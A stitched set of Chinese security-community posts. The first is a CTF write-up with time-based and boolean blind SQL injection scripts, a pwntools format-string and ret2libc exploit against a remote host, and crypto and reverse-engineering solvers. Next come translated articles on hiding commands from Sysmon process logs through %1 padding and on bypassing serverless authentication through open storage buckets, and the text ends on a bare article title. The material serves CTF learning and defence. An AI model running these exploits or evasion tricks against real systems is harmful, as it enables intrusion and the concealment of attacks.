for i in xrange(1,33):
print i
for p in lists:
param={'username':"-1'=(ascii(mid((passwd)from("+str(i)+")))="+str(ord(p))+")='0"}
print requests.post(url,data=param).content
if "admin" in requests.post(url,data=param).content:
passwd=passwd+p
break
print passwd
登陆就是flag 登陆这里的admin判断直接用admin%c2这个去绕过，因为刚前段时间看过ph师傅的最近刚写的文章，然后很快就反应过来了
**Wrong**
随手就出swp文件
3 error_reporting(0);
4 function create_password($pw_length = 10)
5 {
6 $randpwd = "";
7 for ($i = 0; $i < $pw_length; $i++)
8 {
9 $randpwd .= chr(mt_rand(33, 126));
10 }
11 return $randpwd;
12 }
13
14 session_start();
15 mt_srand(time());
16 $pwd=create_password();
17
18 if($pwd==$_GET['pwd'])
19 {
20 if($_SESSION['userLogin']==$_GET['login'])
21 echo "Good job, you get the key";
22 }
23 else
24 {echo "Wrong!";}
刚开始丢给队友做，队友做了好久，然后硬是没刚出来。 看了一下，思路大致如下
$pwd==$_GET['pwd']、$_SESSION['userLogin']==$_GET['login']
两个点，第一个可以通过清空cookie，造成NULL==NULL
第二个点则需要本地提前时间生成pwd pwd生成脚本（注:linux时间改成和服务时间一样，时区最好也改了吧，反正我第一次没改时区没有pass）
1 <?php
2 function create_password($pw_length = 10)
3 {
4 $randpwd = "";
5 for($i=0;$i<$pw_length;$i++)
6 {
7 $randpwd.=chr(mt_rand(33,126));
8 }
9 return $randpwd;
10 }
11 echo date("Y-m-d h:i:sa")."n";
12 mt_srand(time());
13 $pwd=create_password();
14 echo $pwd;
?>
**just a test**
不知道是谁，在某个地方插了个弹窗。造成XSS的假象，然后打了一中午，发现什么也没有，就很绝望！
后来队友提醒是不是注入，然后在URL里试了一下真的是注入？？？exm？？？ 先把脚本放上
# -*- coding:utf-8 -*- import requests
import time
flag=""
for j in xrange(1,50):
for i in xrange(33,127):
url="http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20ascii(substr(f1ag,"+str(j)+",1))%20from%20test.`fl@g`%20limit%200,1)="+str(i)+",sleep(0.4),1)%2523"
a=time.time()
requests.get(url)
#print time.time()-a
print '.',
if time.time()-a>4:
print chr(i)
flag=flag+str(chr(j))
break
print flag
#database() 5
#database() test
#table1 fl@g
#column f1ag
#http://117.34.111.15:83/chandni-jewel' union select if((select ascii(substr(f1ag," str(j) ",1)) from test.fl@g limit 0,1)=" str(i) ",sleep(0.4),1)%23
#http://117.34.111.15:83/chandni-jewel'%20union%20select%20if((select%20length(column_name)%20from%20information_schema.columns%20limit 1,1)="+str(i)+",sleep(0.4),1)%2523
开始爆Flag始终没有爆出来，又很绝望。 怀疑人生然后把payload放到Bp里结果报错了，才发现表名里有个@，在payload里加个反引号就行了
服务器响应不是很好，跑了很多遍才跑出来flag
**admin**
这题和逆向狗研究了一晚上，只过了第一关。但是题目还是蛮有意思的
hint www.tar.gz
大致浏览看了下功能
刚开始一直想用hitcon 2015的crypt1的思路去伪造登陆，但是后来发现因为在
$token = '';
$user = '';
$admin = 0;
if (isset($_COOKIE['token'])&&isset($_COOKIE['sign'])) {
$sign = $_COOKIE['sign'];
$token = $_COOKIE['token'];
$arr = explode('|', token_decrypt($token));
if (count($arr) == 3) {
if (md5(get_indentify().$arr[0]) === $arr[2] && $sign === $arr[2]) {
$user = $arr[0];
$admin = (int)$arr[1];
}
}
}
有md5校验，因此第一种想法被pass了
然后逆狗想到可以 构造 $username|$admin|$md5+padding 为用户名注册然后修改cookie即可伪造登录 因为是CFB模式
第二个明文分组的解密只与第一个分组的密文有关，因此可以解出flag的后半段 然而没什么luan用！
比赛结束以后pcat说是压缩包的时间，然后把每个时间都试过去？然而？
**Crypto**
* * *
**签到-欢迎来到CSTC2017 10**
ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=
签到题， base64 解密，flag : flag{WeiSuoFyu_BieLang}
**crypt2 200**
通过流量包的分析可以发现有两个人在用相同的N不同的E，发送给服务器，然后返回一段密文
这个时候就公用了一个N，可以使用RSA的共模攻击来解决这个问题。
python
e1 = 3
n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
e2 =7
n2 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print hex(m)[2:-1].decode('hex')
跑出来flag为 flag{Hc0mm0nModulusR$AH}
**
**
**Mobile**
* * *
**拯救鲁班七号 100**
先将lib文件导下来，然后用IDA来分析，是将明文经过一系列的替换，然后再与一个字符串进行比对
这里有一个__android_log_print 帮助我们分析了，我在动态调试里直接使用logcat 输出转换后的格式，然后相对应替换一下位置就可以了。
需要替换位置的 flag为 S!@#@1FD23154A34
最后flag : flag{!@#@ASDF34511234}
**The Marauder's Map 150**
用jeb反编译之后 可以看到三串base64
"dGVzdA==" test
"WWVhaH4h";Yeah~!
"dXNlcnM="; users
"Mg=="; 2
还有是对数据库进行了一系列的操作，所以就将数据库文明件test导出。
使用了 SQLite format 3的数据库格式。 分析之后在这个数据库里可以找到几个表名和字段
CREATE TABLE `sqlitebrowser_rename_column_new_table` (
`userid` TEXT,
`age` int,
`birthday` TEXT,
`id` INTEGER
)
CREATE TABLE `users1` (
`userid` TEXT,
`age` INTEGER,
`birthday` TEXT,
`id` INTEGER
)
CREATE TABLE "users" (
`userid` TEXT,
`age` int,
`birthday` TEXT,
`id` INTEGER
)
接下来使用python 脚本提取数据库
import shutil
import sqlite3
conn = sqlite3.connect('test')
for row in conn.execute('select userid, age, birthday,id from users'):
print row
conn.close()
提取两个表都使用相同的办法，然后就是解密这个birthday字段了。
(u'zhangsan', 21, u'9838e8884968b968c998e838c9a89838e88829', 1)
(u'lisi', 20, u'9838e888496bfda98afdbb98a9b9a9d9cdfa29', 2)
(u'wangwu', 20, u'9838e88849c908780889b8086908a998a8a83829', 3)
(u'maybe', 23, u'9838e88849897808fcc8e818fcb9a8383829', 4)
(u'how', 23, u'9838e8884968b98cc9fce8c9fcc838a8e8d929', 5)
(u'manual', 22, u'9838e88849e8c9fcc8d969c9b9e83829', 6)
(u'how', 24, u'9838e888496a8c28fc1808b9fc28a8c9c968188829', 1)
(u"I've", 23, u'9838e8884918a8a8b8fc6908a9d9fcd838a8c9c968188829', 2)
(u'been', 22, u'9838e88849b908fc386899a8fc98d9a8a829', 3)
(u'wasting', 22, u'9838e88849b808fc68b9fc9808d9fc28a829', 4)
(u'my', 21, u'9838e888496afcc9a818c9a8fc68b929', 5)
(u'time', 18, u'9838e888496afc28a8e818b9fc68b929', 6)
birthday地方经过了加密
具体的算法在lib.so里，算法也不复杂，就是简单的将已经字符变成了俩字符。
然后写了一个c语言的脚本来暴力跑，可以发现id是2的一个是正确解
#include<stdio.h>
#include<string.h>
int change(int a1)
{
int v1; // r3@3
if ( a1 > 9 || a1 < 0 )
{
if ( a1 <= 9 || a1 > 15 )
v1 = 255;
else
v1 = (unsigned __int8)(a1 + 'W');
}
else
{
v1 = (unsigned __int8)(a1 + '0');
}
return v1;
}
int main(){
char flag[]={"9838e888496bfda98afdbb98a9b9a9d9cdfa29"};
for(int j=0;j<strlen(flag);j+=2){
for(int i=0;i<255;i++){
if(change(~i&0xf)==flag[j]&&change((i>>4)^0xe)==flag[j+1]){
printf("%c",i);
}
}
}
return 0;
}
flag : flag{Y0uG0Tfutur3@}
**取证密码 200**
这一道android也是比较简单的。虽然是有加载库的，但是完全没难度呀
简单分析一下他的流程就是
#include<stdio.h>
int main(){
char arr[]={"yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W"};
char index[]={0x39,0x20,7,0xA,0x20,0x29,0x13,2,0x3A,0xC,0x11,0x31,0x3B,0xB,7};
for(int i=0;i<15;i++){
printf("%c",arr[index[i]]);
}
}
如果使用一下动态调试更是分分钟出结果。
flag: flag{A1!N1HenBUCu0O!}
**人民的名义-抓捕赵德汉1 200**
刚开始看到100分的题目都吓死，出现这个题目的时候真的感觉很简单。
看到有一个md5字符串，直接试了一下没想到就轻松的过了。
flag: flag{monkey99}
**人民的名义-抓捕赵德汉2 200**
相当于jar的逆向，这个题目恶心的地方就是去加混淆了
具体的算法其实不是很复杂，这里比较重要，但是这里有一个难点就是重写了arraycopy，这里调用了start的main函数。。我在这里去了一下混淆，勉强很够的到字符串，然后经过
((c>>1)+15) 之后的字符串，这里解密出来为 "JsnatterrtJuaththovacke"
写个一个java脚本跑了一下
java
public class test {
//static String arr1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
//static String arr2 = "ZYXWVUTSRQPONMLKJIHGFEDCBA";
public static void main(String args[]){
String arr1 = "JsnatterrtJuaththovacke";
for(int i=0;i<19;i++){
if(i==4||i==9||i==14||i==19){
System.out.print('-');
}else{
System.out.print(arr1.charAt(check(i,arr1)));
}
}
}
public static int check(int i,String arg){
return te(i)%arg.length();
}
public static int te(int i){
if(i>2){
return te(i-1)+te(i-2);
}
return 1;
}
}
最后得到flag : flag{sssn-trtk-tcea-akJr}
**
**
**MISC**
* * *
**一维码 100**
给了一个条形码文件，用扫码工具扫一下得到 keyword:hydan
一看这个条形码文件巨大，有500多K，肯定有诈，用stegslove打开
选中最低位，在lsb下有ELF文件头，果断保存了这个bin文件，逆向分析了一波，，什么都没有。
这个文件是就是一个tar工具。
然后想到是使用hydan，百度了一下hydan，第一条就是。
**乾坤 125**
一个流量包文件，直接丢进wireshark分析一波，发现大多是http协议的流量，在 "文件 -> 导出对象"
选择HTTP，查看其传输内容，发现有两个通过邮箱传输的压缩文件。
点进去查看下，发现是文件名都为flag.zip，但是大小不同的文件。把他们都解压一遍，得到“encode.py”、“flag.exe”两个文件，用winhex查看flag.exe，在其末尾发现编码字符，接下来就是写出对应的解码脚本。脚本如下：
python
from base64 import b64decode
def decode(a):
a = list(a)
for j in range(0,len(a)):
if a[j]=='*':
a[j]='W'
for k in range(0,len(a)):
if a[k]=='_':
a[k]='1'
a.reverse()
flag_1=''.join(a)
for i in range(0,25):
flag_1=b64decode(flag_1)
print flag_1
with open("plaint.txt","r") as f:
decode(f.read())
**轨迹 150**
记得X-NUCA的misc专场出过USB的流量分析题
<http://bobao.360.cn/learning/detail/3351.html>
tshark.exe -r trace.io -T fields -e usb.capdata > usbdata.txt
01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
跑出来这样的数据。
第一位没什么用，第二位是0代表没有按键，1代表鼠标左击，2代表鼠标右击。
第三第四位 合起来 像word字节,代表水平方向负数、正数代表左右移。
第五第六位 合起来 代表垂直方向上下移动。
直接使用脚本
nums = []
keys = open('usbdata.txt','r')
out = open('data.txt','w')
posx = 60
posy = 10
for line in keys:
# if len(line) != 12 :
# continue
x = int(line[6:8],16)
y = int(line[12:14],16)
# print x,y
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[3:5],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
out.write( "%d %dn"%(posx ,posy))
keys.close()
out.close()
得到坐标之后
再到kali用 gnuplot 来画图,
flag{stego_xatu@}
**种棵树吧 100**
第一个图片后面连接了一个zip。
解压出一个gif但是少了一点文件头，添加GIF89文件头。然后可以看到一张图片。
第二张图直接看属性
就得到 Post-order{YR!eVa-gLAoxdj{pw}8zkUnGuIHh:r65f2lFsEi} In-order{RY!heHVaL-goAI{dxjGpnUw8}kzuEr:s56fFl2i}
hi! HERe Is Your FLAG :flag{n52V-jpU6d_kx8zw}
接下来按照层序排列可以得到flag：flag{n52V-jpU6d_kx8zw}
**我们的秘密 250**
这一题比较复杂。
先用二进制查看器看了一下压缩包的结构，发现有很多个readme.txt
然后将最底层的一个readme.zip抠出来，试了一下伪加密，是可以过的。
里面是"为提高大学生的网络安全技术水平，培养大学生的团队协作能力，由陕西省兵工学会主办，西安工业大学承办的“2017年第三届陕西省网络空间安全技术大赛”即将于2017年4月15-16日进行线上初赛，2017年5月13日进行线下总决赛。"
然后前面一个zip是真加密，这里我想到了使用zip的明文攻击
跑了我一个多小时才跑出来，，，电脑太差劲了。
跑出来是 3xatu2o17
解压出三个文件，然后wav的是莫斯电码 解出来是，CTFSECWAR2017
试了一下提交flag然后没过
接下来想到还有一个mp4然后用各种工具去尝试,加密密钥为CTFSECWAR2017。在使用到 OurSecret的时候，结果正确了得到flag
flag{v1de0c0nc3a1lala}
**什么玩意**
这一题初看是一个蓝牙的pin码破解，在github上找到了脚本，BTcrack
《无线网络安全攻防实战进阶》杨哲 写的这一本书中也包含了这一个的讲解。
而且网上也找到了相同的题目文件。
同时也获得了 link key 。但是第一个文件 只有数字，，没有这方面的知识完全不会做。。只能够做到这一层了。
真的是什么玩意儿！
**Bin**
* * *
**Now you see me 200**
这个题目我想要打人了。。出题人这样就没有意思了。
在exe的属性里面，放了flag的前半段。就是
解密出来为 flag{root@mail:
在ida中首先找到了字符串，就是 Verification code:
然后可以使用 OD去跟踪这一部分的代码了。
具体的加密函数为sub_402640。
是使用 有这样的操作，输入的长度为9. 应该都是要输入数字。
然后分成三组，每一组记作a1,a2,a3
(a1+a2)*2-a1 == cmp1
(a2*3)-a2 ==cmp2
(a2*5+a3*2)-a3 == cmp3
比对的数组为 0x0b 0x06 0x15 0x0b 0x04 0x0e 0x16 0x10 0x31
写了一个简单脚本暴力了一下，轻松得到flag
cpp
#include<stdio.h>
#include<string.h>
int main(){
char flag[]={0x0b ,0x06 ,0x15 ,0x0b ,0x04 ,0x0e ,0x16 ,0x10 ,0x31};
for(int i=0;i<16;i++){
for(int j=0;j<16;j++){
for(int z=0;z<16;z++){
if(((i+j)*2-i==flag[6])&&(j*3-j==flag[7])&&(j*5+z*2-z)==flag[8]){
printf("%d %d %dn",i,j,z);
}
}
}
}
}
得到536 724 689
所以 flag{root@mail:0IdWan9}
**Magical Box 200**
首先看了下防护机制
然后在IDA中可以看到一个相当明显的格式化字符串漏洞
got表无法修改，但是在栈空间中可以找到canary的值，以及___libc _ start _main函数地址
同时对输入的用户名进行了一步异或操作后进行验证
已经已知了s2，动态调试出了用户名为admin2017c，继续跟下去后发现一个栈溢出漏洞
写完EXP后本地能过远程过不了，猜测是__lib_start_main函数的本地偏移与远程不同采取爆破的办法出了flag
附上exp
python
from pwn import *
#context(log_level="debug")
#p = process("./pwn_box")
#libc = ELF('libc.so.6')
libc = ELF('libc.so.6_pwnbox')
elf = ELF('pwn_box')
puts_got = 0x0804b030
printf_got = 0x0804b010
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0],"b *0x08048A11nc")
#launch_gdb()
for x in range(240,0xff):
try:
print x
p = remote('117.34.80.134',7777)
#p = remote('127.0.0.1',10001)
p.recvuntil("?n")
p.sendline("%7$x")
p.recvuntil("!")
canary = int('0x'+p.recv(8),16)
#print hex(canary)
p.recvuntil("?n")
p.sendline("%43$x")
p.recvuntil("!")
libc_start_main_addr = int('0x'+p.recv(8),16)-x
#print hex(libc_start_main_addr)
plt = libc.symbols['__libc_start_main']
system_addr = libc_start_main_addr- (plt - libc.symbols['system'])
binsh_addr = libc_start_main_addr- (plt - next(libc.search('/bin/sh')))
#print hex(system_addr)
#print hex(binsh_addr)
p.recvuntil("?n")
p.sendline("admin2017c")
p.recvuntil(".nn")
p.sendline('add')
p.recvuntil(": ")
p.sendline("20")
p.recvuntil(": ")
p.sendline("a")
p.recvuntil(": ")
payload = 'a'*30 + p32(canary)+'b'*0xc+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
except:
p.close()
continue
#x=243 | 社区文章 |
# 测试你的DFIR工具： Sysmon事件日志中的安全问题剖析
|
##### 译文声明
本文是翻译文章，文章原作者 @danielhbohannon，文章来源：www.danielbohannon.com
原文地址：<http://www.danielbohannon.com/blog-1/2018/3/19/test-your-dfir-tools-sysmon-edition>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
作为一名站在网络安全防御端的研究人员，我需要不断地对各种安全监测框架进行测试和调整，然后再对重构的框架进行重新测试以确定安全防御思想是否正确。但是对于一名经验丰富的DFIR（数据取证与事件应急响应）从业人员来说，他们需要对类似安全工具所生成的检测结果进行交叉验证，并根据输出结果来进行下一步操作。在过去的九个月时间里，我花了大量的时间去研究新型的混淆技术和规避技术，而且在那一段时间里，我还花了很多时间去验证各种检测工具的检测效率和效果。在这篇文章中，我将跟大家分享我在Sysmon的事件日志系统中发现的一个安全漏洞，这个漏洞会影响相应的命令行参数以及至少两款不同的工具，攻击者还可以利用该漏洞查看目标主机中的Windows事件日志。
首先我要声明的是，从2014年第一代Sysmon版本发布之后，我就开始在我个人的测试实验室搭建中使用Sysmon了，所以我可以算是Sysmon的“脑残粉”了。Sysmon（System
Monitor）是微软Sysinternals Suite的其中一个组件，由Mark
Russinovich（[@markrussinovich](https://github.com/markrussinovich
"@markrussinovich")）主管开发。Sysmon驱动器会以应用服务的形式进行安装，并保持常驻性。网络安全检测人员可以利用Sysmon来监视和记录系统活动，而Sysmon不仅可以提供有关进程创建，网络链接和文件创建时间更改的详细信息，而且还可以将Windows主机中的事件情况记录在Microsoft-Windows-Sysmon/Operational事件日志中。Sysmon最近一次的更新日期为2018年1月5日，版本号为v7.01，并且支持二十二中不同的事件ID（Event
ID），其中包括进程执行事件(EID 1 & 5)、网络连接事件(EID 3)、图像加载事件(EID 7)、命名管道事件(EID 17 &
18)、WMI事件(EID 19, 20 & 21)以及各种注册表事件等等。
在过去几年时间里，网上有很多关于使用Sysmon作为终端威胁分析的数据收集源的技术文章。除此之外，关于Sysmon的开源配置项目（例如[@SwiftOnSecurity](https://github.com/SwiftOnSecurity
"@SwiftOnSecurity")的sysmon-config项目-[https://github.com/SwiftOnSecurity/sysmon-config）也越来越多，这样让更多的人开始使用Sysmon来进行数据收集和过滤了。而且微软近期还专门发布了一篇Sysinternals](https://github.com/SwiftOnSecurity/sysmon-config%EF%BC%89%E4%B9%9F%E8%B6%8A%E6%9D%A5%E8%B6%8A%E5%A4%9A%EF%BC%8C%E8%BF%99%E6%A0%B7%E8%AE%A9%E6%9B%B4%E5%A4%9A%E7%9A%84%E4%BA%BA%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8Sysmon%E6%9D%A5%E8%BF%9B%E8%A1%8C%E6%95%B0%E6%8D%AE%E6%94%B6%E9%9B%86%E5%92%8C%E8%BF%87%E6%BB%A4%E4%BA%86%E3%80%82%E8%80%8C%E4%B8%94%E5%BE%AE%E8%BD%AF%E8%BF%91%E6%9C%9F%E8%BF%98%E4%B8%93%E9%97%A8%E5%8F%91%E5%B8%83%E4%BA%86%E4%B8%80%E7%AF%87Sysinternals)
Sysmon可疑活动检测指南：[https://blogs.technet.microsoft.com/motiba/2017/12/07/sysinternals-sysmon-suspicious-activity-guide/，感兴趣的同学可以阅读以了解更多详细信息。](https://blogs.technet.microsoft.com/motiba/2017/12/07/sysinternals-sysmon-suspicious-activity-guide/%EF%BC%8C%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E5%90%8C%E5%AD%A6%E5%8F%AF%E4%BB%A5%E9%98%85%E8%AF%BB%E4%BB%A5%E4%BA%86%E8%A7%A3%E6%9B%B4%E5%A4%9A%E8%AF%A6%E7%BB%86%E4%BF%A1%E6%81%AF%E3%80%82)
接下来，我们一起进入今天的主题。
## Sysmon安全分析
我们先看一看下面这个例子，这段代码会在环境变量envVar中设置一条命令，然后在一个子进程中执行这个环境变量中的代码内容：
cmd.exe /c "set envVar=echo TESTING&&cmd.exe /c %envVar%"
当我们在EventVwr.exe中查看这个Sysmon EID
1事件时，你就会发现其中的CommandLine参数已经被替换掉了，原来的%envVar%外面又多了一层百分号：
虽然我发现了这个问题，但我当时也没有太在意，直到我在日志中看到了使用随机命名环境变量（尤其是以整形数字开头的变量名称，如下面代码所示，使用1337直接替换掉了环境变量名envVar）的Payload信息时，这个情况才引起了我的注意：
cmd.exe /c "set 1337=echo TESTING&&cmd.exe /c %1337%"
接下来，我们可以在EventVwr.exe中查看这条命令的运行结果，这确实挺令人惊讶的：
这似乎是一个存在于Sysmon EID
1的CommandLine域中的溢出漏洞，因为我们在使用EventVwr.exe查看相关数据时，系统显示的是不正确的数据。
接下来，我就需要使用其他工具来验证这个数据源了，我直接选择了PowerShell以及它的Get-WinEvent脚本来查询这个Sysmon事件。结果证明，它返回的也是同样的错误值。
于是乎，我开始测试cmd.exe /c “echo %1”、cmd.exe /c “echo %2”和cmd.exe /c “echo
%3”之类的语句，并看看系统显示的事件信息中是否同样会包含额外的值。实验结果表明，有些时候这些值会出现在其他的事件日志条目中，例如%2 —>
ProcessGuid和%3 —> ProcessId等等，但有的时候这些值似乎显示的是一些随机的系统信息。
提醒大家一下，cmd.exe的命令行参数长度限制为8191个字符，于是我就想：Sysmon事件日志中的CommandLine域也会遵循这样的字符长度限制吗？
为了证实我的猜想，我使用cmd.exe的||操作符（跟&&的作用相反，如果操作符前面的命令返回值为FLASE，那么代码将会执行操作符后面的命令）执行了下列测试命令，所以我们可以直接在一条命令的后面接上一堆垃圾文本，而这些文本按理来说是不会得到执行的：
cmd.exe /c "echo PUT_EVIL_COMMANDS_HERE||%1"
从下面的图片中你可以看到EventVwr.exe和PowerShell的Get-WinEvent脚本所生成的不正确的CommandLine值：
所以说，“%1”（2个字符）这个由用户控制的输入值将会在事件日志中生成“Incorrect
function.”（19个字符）错误信息。那么运行55个”%1”实例：
cmd.exe /c "echo PUT_EVIL_COMMANDS_HERE||%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1"
将会生成如下图所示的输出结果：
如果再加到50-85个”%1”实例的话，你将会从EventVwr.exe中的每一个Sysmon EID
1事件中看到一堆乱码，有的时候甚至还会显示其他事件日志源的完整日志信息（类似PowerShell EID 800事件）：
在使用PowerShell的Get-WinEvent脚本查询这些事件时，我们得到了如下所示的事件错误信息：
我们所发现的漏洞可以在Windows 7到Windows 10的所有版本系统（以及PowerShell v2到v5）中成功复现。
## 可能的解决方案
但是，在接下来的验证测试过程中，我又发现了其他的工具可以对.evt/.evtx解析并正确显示出百分号+整形填充值。比如说，微软的Log
Parser以及FireEye的Redline取证分析工具（这两款工具都是免费的！）都不会被Sysmon中CommandLine域的溢出问题所影响，并且能够显示出”%1”和”%1337”等字符的正确值。
那么重点是什么？很好，在这个漏洞的帮助下，如果网络管理员使用的是类似EventVwr.exe 或PowerShell的Get-WinEvent脚本来查询事件日志信息的话，攻击者就可以通过在命令中填充足够多的百分号+整形字符串，然后有效地在Sysmon EID
1中隐藏恶意进程执行事件了。
如果你是一名网络安全管理员的话，并且喜欢使用EventVwr.exe 或PowerShell的Get-WinEvent脚本来查询Sysmon EID
1事件，那么在系统出现异常时，你可能需要使用一款不受该漏洞影响的工具来处理这些异常事件了（友情提示：在PowerShell攻击场景下，try/catch语句也许是你的最佳选择）。当然了，你也可以通过官方支持的安全事件日志EID
4688来获取并分析进程命令行参数。
除此之外，建议大家对自己手头上现有的工具进行测试，以确保自己的工具没有受到这个漏洞的影响。
## 总结
如果你现在问我：“你仍然觉得Sysmon是一款非常优秀的工具吗？“我会毫不犹豫地点头！但如果你要问我：”我仍然会把Sysmon当作唯一的进程执行事件源吗？“我肯定不会，因为我可能会使用安全EID
4688或其他官方所支持的机制来实时捕获命令行参数。但是，如果我必须要使用Sysmon EID
1的话（直到这个漏洞被成功修复），我可能会选择使用其他的一些不受该漏洞影响的工具来解析Sysmon中包含在百分号内的字符，这样就可以确保我们所编写的检测规则不会被这个溢出漏洞所影响。
作为一名负责任的防御端研究人员，我们需要不断地进行测试、调整、验证和再验证，然后不断地打破我们原有的假设，这样才能不断地优化我们的安全检测机制，并更好地利用手上的工具来实现我们的目标。 | 社区文章 |
# 深入研究攻击Serverless环境下的应用 SLS-2: 权限绕过
##### 译文声明
本文是翻译文章，文章原作者 protego，文章来源：protego.io
原文地址：<https://www.protego.io/a-deep-dive-into-serverless-attacks-sls-2-broken-authentication/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
感谢您阅读此系列的第二篇文章。[上一篇文章](https://www.anquanke.com/post/id/170130)我们讨论了注入攻击。在[视频](https://www.youtube.com/watch?v=NRAZ5RvfIVs)中，可以看到使用它攻击传统应用程序到Serverless应用攻击面的变化。对于Serverless应用来说，注入攻击是基于不同源的各种
**事件** 。
在这篇文章中，我将研究Serverless应用安全性方面面临的另一个问题。在Serverless架构中，有很多隐秘的入口点，服务，事件和触发规则且没有连续的flow，事情可能会变得更加复杂。与传统应用程序架构不同，Servless应用在[Stateless](https://zh.wikipedia.org/wiki/%E6%97%A0%E7%8A%B6%E6%80%81%E5%8D%8F%E8%AE%AE)容器中运行。数百个不同的功能，分别运行在不同的Server，这意味着单个的Server没有很大的
**flow** 。不同的Server有不同的功能，由不同的事件触发，没有团队协作的概念。
攻击者试图寻找容易被遗忘的资源，像公共云储存仓库和公共API，这意味着作为开发者的我们必须给每个Server和资源加上密钥。然而，面向外部的资源不是唯一需要考虑的。让我们继续深入研究。
外部资源的认证方式通常很脆弱，用暴力破解的方式，攻击者可以使用自动化工具猜测用户的凭据。如果某个网站的认证方式很脆弱，那么攻击者就可以接触到它的敏感内容或功能。弱密码和不安全的密码恢复流程也是属于脆弱的认证方式。好消息，现在现代的网络中，服务器提供商能防御大多数的攻击。我们再也不用担心密码管理，暴力破解和密码恢复流程等安全问题。经验丰富，装备精良的服务提供商将完美防御任何这类攻击。
如果面向外部的资源没有合适的身份认证方式，那么Serverless应用会出现重大安全漏洞。现在，我们唯一要做的就是确保我们的资源配置正确，如恰当的访问权限控制和合适的认证方式。这可以由云服务商提供的身份管理服务轻松完成，如AWS
Cognito，Azure AD，Google Firebase或Auth0等服务。
那么，我们可以去睡一觉，等待下一篇文章？NO！当应用的内部功能不是由用户端发出请求（或某些的事件）触发时，事情会变得更加复杂。在应用的整个 **flow**
中，存在一些特殊方式可以绕过我们的身份认证架构，接触到一些资源。这种漏洞通常是身份验证和访问控制设计存在缺陷的结果。
## 案例研究
一个非常简单的Serverless应用：
一. 正常的用户通过了身份验证，发送一个API请求，触发一堆内部 **flows** （图中蓝色区域）
二. 用户也可以上传文件（例如图像），其存储在云存储中
三. 典型的Serverless **flow** ：当文件上传到云存储时，触发另一个处理该上传文件的功能。
四. 从下图可以看到，云存储是开放的，不需要任何身份验证。
五. 恶意用户直接上传文件到云存储，触发内部功能，可以绕过身份验证。
所以？只是一个文件上传。这里的安全问题是什么？我们首先要了解我们绕过的 **flow(s)** ，
让我尝试着全面解读。
在这个例子中，用户通过指定的移动应用提交图片，应用程序打印图片。流程：
A. 用户注册并登录程序，然后选择所需的产品。
B. 完成后，用户将被重定向到付款的 **flow** ，填写收货和账单地址。
C. 付款信息被核准后，应用生成带有签名的云储存链接发送给用户，用户上传用于打印的图片。
D. 用户上传完成。考虑到安全性，应用程序会验证文件类型以确保仅为图像。
E. 上传完成后，用户将被重定向到主页，收到一封包含订单详细信息的电子邮件。
F. 另外，在文件上传后触发某个功能进行打印。
G. 打印完成后，应用会向用户发送一封电子邮件。
可以发现，云存储仓库没有正确的身份认证，可供任何用户直接上传图片文件。
这里可以造成一些攻击。首先，最明显的漏洞，攻击者可以不用付款，使应用跳转到下一个 **flow** （绕过C阶段），即处理上传图片文件（阶段D）。如何实现？
如果云储存开放写入访问权限，攻击者使用 **aws cli** （AWS命令行界面）就可以进行攻击。
但这里还有另一个漏洞，应用程序会验证上传的文件类型和文件名，以确保没有上传恶意文件。可能有些人已经发现了，D阶段也可以绕过，攻击者可以直接上传恶意文件到云存储仓库。
保护云存储其实很容易，只需简单点击几下就可以阻止公共访问。问题是，我们如何确保内部资源中没有其他脆弱的身份验证方法？没有十全十美的办法。我们可以根据Serverless应用的资源类型和
**flow** 设计独特的认证方式，我们选择可以使用知名的服务，例如Federated Identity(e.g. SAML, OAuth2,
Security Tokens)，并确保使用经得起实践的产物(e.g. encrypted channels, password and key
management, client certificate, OTA/2FA)。
## 演示视频
如果你想观看演示视频，[这里有](https://www.youtube.com/watch?time_continue=55&v=9tfRzMCX8SQ) | 社区文章 |
# 【技术分享】元数据：黑客最好的朋友（下）
|
